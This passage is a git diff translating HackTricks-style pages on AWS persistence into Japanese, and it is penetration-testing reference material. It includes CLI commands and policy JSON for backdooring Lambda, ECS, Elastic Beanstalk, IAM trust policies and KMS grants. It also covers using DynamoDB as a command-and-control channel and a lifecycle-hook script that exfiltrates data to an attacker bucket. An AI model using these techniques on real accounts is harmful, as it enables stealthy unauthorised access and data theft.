EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +デフォルトでは、これは無効になっています：
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..bfcdb5494 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -4,64 +4,56 @@ ### DynamoDB -For more information access: +詳細情報は以下にアクセスしてください： {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### DynamoDB トリガーと Lambda バックドア +DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。 ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。 -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDBをC2チャネルとして使用する +攻撃者は、コマンドを含むアイテムを作成し、侵害されたインスタンスやLambda関数を使用してこれらのコマンドを取得および実行することにより、DynamoDBテーブルを**コマンドおよび制御（C2）チャネル**として使用することができます。 ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +侵害されたインスタンスやLambda関数は、定期的にC2テーブルをチェックして新しいコマンドを取得し、それを実行し、オプションで結果をテーブルに報告することができます。これにより、攻撃者は侵害されたリソースに対して持続性と制御を維持することができます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..3ecda4461 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### セキュリティグループ接続追跡持続性 -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。 -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。** -### EC2 Lifecycle Manager +### EC2ライフサイクルマネージャー -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\ +攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。 -### Scheduled Instances +### スケジュールされたインスタンス -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +インスタンスを毎日、毎週、または毎月実行するようにスケジュールすることが可能です。攻撃者は高い権限または興味深いアクセスを持つマシンを実行することができます。 -### Spot Fleet Request +### スポットフリートリクエスト -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。 -### Backdoor Instances +### バックドアインスタンス -An attacker could get access to the instances and backdoor them: +攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます： -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- 例えば、従来の**ルートキット**を使用する +- 新しい**公開SSHキー**を追加する（[EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認） +- **ユーザーデータ**をバックドア化する -### **Backdoor Launch Configuration** +### **バックドア起動構成** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- 使用されるAMIをバックドア化する +- ユーザーデータをバックドア化する +- キーペアをバックドア化する ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +攻撃者がVPCに直接接続できるようにVPNを作成します。 -### VPC Peering +### VPCピアリング -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +被害者のVPCと攻撃者のVPCの間にピアリング接続を作成し、攻撃者が被害者のVPCにアクセスできるようにします。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..fde4fefc8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,98 +4,88 @@ ## ECR -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### 悪意のあるコードを含む隠れたDockerイメージ -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。 -### Repository Policy - -Add a policy to a single repository granting yourself (or everybody) access to a repository: +### リポジトリポリシー +自分自身（または全員）にリポジトリへのアクセスを付与するポリシーを単一のリポジトリに追加します： ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。** -### Registry Policy & Cross-account Replication +### レジストリポリシーとクロスアカウントレプリケーション -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。
-First, you need to give the external account access over the registry with a **registry policy** like: - +まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。 ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +次に、レプリケーション設定を適用します： ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..735bdb1f9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,29 +4,28 @@ ## ECS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### 隠れた定期ECSタスク > [!NOTE] -> TODO: Test - -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. +> TODO: テスト +攻撃者は、Amazon EventBridgeを使用して**悪意のあるタスクの実行を定期的にスケジュールする**隠れた定期ECSタスクを作成できます。このタスクは、偵察を行ったり、データを抽出したり、AWSアカウント内での持続性を維持したりすることができます。 ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - -### Backdoor Container in Existing ECS Task Definition +### 既存のECSタスク定義にバックドアコンテナを追加 > [!NOTE] -> TODO: Test - -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. +> TODO: テスト +攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。 ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - ### Undocumented ECS Service > [!NOTE] > TODO: Test -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. - +攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。 ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..ba05df3e5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,22 +4,18 @@ ## EFS -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### リソースポリシー / セキュリティグループの変更 -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。 -### Create Access Point +### アクセスポイントの作成 -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +**アクセスポイントを作成することで**（`/`へのルートアクセス付き）、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..7ef353def 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -4,31 +4,30 @@ ## Elastic Beanstalk -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistence in Instance +### インスタンス内の持続性 -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。 -### Backdoor in Version +### バックドアのあるバージョン -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +攻撃者はS3リポジトリ内のコードにバックドアを仕掛け、常にそのバックドアと期待されるコードを実行させることができます。 -### New backdoored version +### 新しいバックドア付きバージョン -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいバックドア付きバージョンをデプロイすることができます。 -### Abusing Custom Resource Lifecycle Hooks +### カスタムリソースライフサイクルフックの悪用 > [!NOTE] -> TODO: Test - -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. +> TODO: テスト +Elastic Beanstalkは、インスタンスのプロビジョニングおよび終了中にカスタムスクリプトを実行するためのライフサイクルフックを提供します。攻撃者は、**データを外部に送信したりAWSアカウントへのアクセスを維持するスクリプトを定期的に実行するようにライフサイクルフックを構成することができます**。 ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..20c9f0775 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,50 +4,44 @@ ## IAM -For more information access: +詳細情報は以下にアクセスしてください： {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### 一般的なIAM持続性 -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- ユーザーを作成する +- 制御されたユーザーを特権グループに追加する +- アクセスキーを作成する（新しいユーザーまたはすべてのユーザーの） +- 制御されたユーザー/グループに追加の権限を付与する（アタッチされたポリシーまたはインラインポリシー） +- MFAを無効にする / 自分のMFAデバイスを追加する +- ロールチェーンジャグリングの状況を作成する（この後のSTS持続性で詳しく説明します） -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### バックドアロール信頼ポリシー +信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース（または誰にでも）それを引き受けることができるようにすることができます： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` +### バックドアポリシーのバージョン -### Backdoor Policy Version +最後のバージョンではなく、ポリシーに管理者権限を付与します（最後のバージョンは正当なものに見えるべきです）。その後、そのバージョンのポリシーを制御されたユーザー/グループに割り当てます。 -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +### バックドア / アイデンティティプロバイダーの作成 -### Backdoor / Create Identity Provider - -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..8ebfb259f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### KMSポリシーを介してアクセスを付与 -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +攻撃者は、**`kms:PutKeyPolicy`** 権限を使用して、制御下のユーザーまたは外部アカウントにキーへの**アクセスを付与**することができます。詳細については、[**KMS Privescページ**](../aws-privilege-escalation/aws-kms-privesc.md)を確認してください。 -### Eternal Grant +### 永続的な付与 -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものでも）を持つことができます。 -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。 +（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。） ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> グラントは、次のリンクからのみ権限を付与できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..13ab14486 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -For more information check: +詳細については、次を確認してください： {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ For more information check: ### Lambda Layer Persistence -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます： {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。 {{#ref}} aws-abusing-lambda-extensions.md @@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md ### Via resource policies -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +外部アカウントに対して、さまざまなラムダアクション（呼び出しやコードの更新など）へのアクセスを付与することが可能です：
### Versions, Aliases & Weights -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +ラムダは**異なるバージョン**（各バージョンに異なるコード）を持つことができます。\ +その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\ +この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
### Version Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. ラムダの元のコードをコピーします +2. **元のコードをバックドアする新しいバージョンを作成**します（または悪意のあるコードのみ）。そのバージョンを公開し、**$LATESTにデプロイ**します +1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します +3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。 +1. これにより、バックドア付きのコードは以前のバージョンに隠されます +4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します：`arn:aws:lambda:us-east-1::function::1` +1. 最後の:1は**関数のバージョンを示す**ことに注意してください（このシナリオではバージョン1がバックドア付きのものになります）。 +5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します +6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます ### Cron/Event actuator -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\ +ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。 -- Every time a new user 